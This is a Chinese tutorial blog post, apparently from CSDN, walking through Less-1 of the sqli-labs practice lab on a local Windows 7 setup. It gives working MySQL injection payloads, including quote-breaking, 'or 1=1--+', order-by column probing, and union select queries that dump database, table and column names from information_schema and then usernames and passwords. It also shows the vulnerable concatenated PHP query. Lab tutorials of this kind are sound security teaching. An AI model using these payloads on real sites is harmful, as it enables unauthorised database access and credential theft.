注入天书(mysql-injection)练习——Less-1

注入的分类():

  • 基于从服务器接收到的响应:
    • 基于错误的 SQL 注入;
    • 联合查询的类型
    • 堆查询注射
    • SQL 盲注
      - 基于布尔SQL 盲注
      - 基于时间的SQL 盲注
      - 基于报错的SQL 盲注
  • 基于如何处理输入的SQL查询(数据类型):
    • 基于字符串
    • 数字或整数为基础的
  • 基于程度和顺序的注入(哪里发生了影响):
    • 一阶注射
    • 二阶注射
  • 一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果;
  • 二阶注入类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害,这样的就被称为是二阶注入。
  • 基于注入点的位置上的:
    • 过用户输入的表单域的注射;
    • 通过 cookie 注射
    • 通过服务器变量注射。(基于头部信息的注射)

一、实验前期准备(搭建环境)

1、在Windows 7上搭建sqli-labs(MYSQL注入天书);
1.1> 我们将phpStudy环境搭建在Win7上面,并开启该服务;

在这里插入图片描述

1.2> 下载并安装sqli-labs-master

1.2.1> 下载sqli-labs-master安装压缩包并进行解压,将该解压文件复制到:c:\phpStudy\PHPTutorial\WWW路径下,并将文件名修改为sqlilabs;

在这里插入图片描述
1.2.2> 在sql-connections/db-creds.inc 文件当中修改的 mysql 账号密码;

在这里插入图片描述
1.2.3> 进入对SQLi-LABS进行初始化;

在这里插入图片描述初始化完成;

在这里插入图片描述
1.2.4> 登录成功;

在这里插入图片描述
在这里插入图片描述

二、具体实验:

以下操作都是我们在本地IE浏览器中完成的!!!

1、有 ’ 号的引起的的注入;
1.1> 当浏览器中输入http://127.0.0.1/sqllib/Less-5/?id=1 时网页正常的显示如下图;

在这里插入图片描述

1.2> 我们可以在 http://127.0.0.1/sqllib/Less-5/?id=1 后面直接添加一个 ’ ,得到错误,通过这种方式就是从错误信息中得到我们所需要的信息:

在这里插入图片描述

从上述错误中,从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 ‘1’’ LIMIT 0,1, 多加了一个 ’ 。此时在MYSQL数据库当中构造的SQL语句就成了:Select ****** where id=‘1’’ LIMIT 0,1,这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的 ‘ 去掉呢?

1.2.1> 尝试用 ‘or 1=1–+ 去掉前面http://127.0.0.1/sqllib/Less-5/?id=1’ 语句当中多余的 ’ 号;
  • –+ ——> 在这里是注释符号;
  • 此时在sql数据库中构造的语句就相当于:Select ****** where id=‘1’or 1=1–+’ LIMIT 0,1
  • 在URL语句当中:%27——> ’ ; %20——> space(空格) ;–+——>是注释符号

在这里插入图片描述

1.2.2> Order by 对前面的数据进行排序,这里有三列数据,我们就只能用order by 3,超过 3 就会报错,‘order by 4–+的结果显示结果超出。

在这里插入图片描述
最后,从源代码中分析一下为什么会造成注入呢?

SQL语句为:$sql=“SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
id参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以提交 ‘or 1=1–+,直接构造的sql 语句就是:
SELECT * FROM users WHERE id=’1’or 1=1–+ LIMIT 0,1
这条语句因 or 1=1 所以为永恒真。

2、union联合联合注入;
  • union 的作用是将两个 sql 语句进行联合;
  • union 前后的两个 sql 语句的选择列数要相同才可以;
  • U nion all 与 union 的区别是增加了去重的功能;

我们这里根据上述 background 的知识,进行information_schema 知识的应用。

2.1> 当 id 的数据在数据库中不存在时,此处前台页面返回了我们构造的 union 的数据。

命令:http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2,3–+

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。

在这里插入图片描述

2.2> 通过union来爆数据库;
  • 爆数据库:http://localhost/sqlilabs/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata–+
    .
  • 此时的sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata–+ LIMIT 0,1

在这里插入图片描述

2.3> 爆 security 数据库的数据表;
  • 爆 security 数据库的数据表:http://localhost/sqlilabs/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27–+
  • 此时的sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’–+ LIMIT 0,1

在这里插入图片描述

2.4> 爆 users 表的列
  • http://localhost/sqlilabs/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27–+
  • 此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’–+ LIMIT 0,1

在这里插入图片描述

2.5> 爆数据
  • http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2–+
  • 此时的sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,username,password f rom users where id=2–+ LIMIT 0,1

在这里插入图片描述

  • 这样就得到了用户名和密码!!!!神奇不,
  • Less1-less4 都可以利用上述 union 操作进行注入。下面就不进行赘述了。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值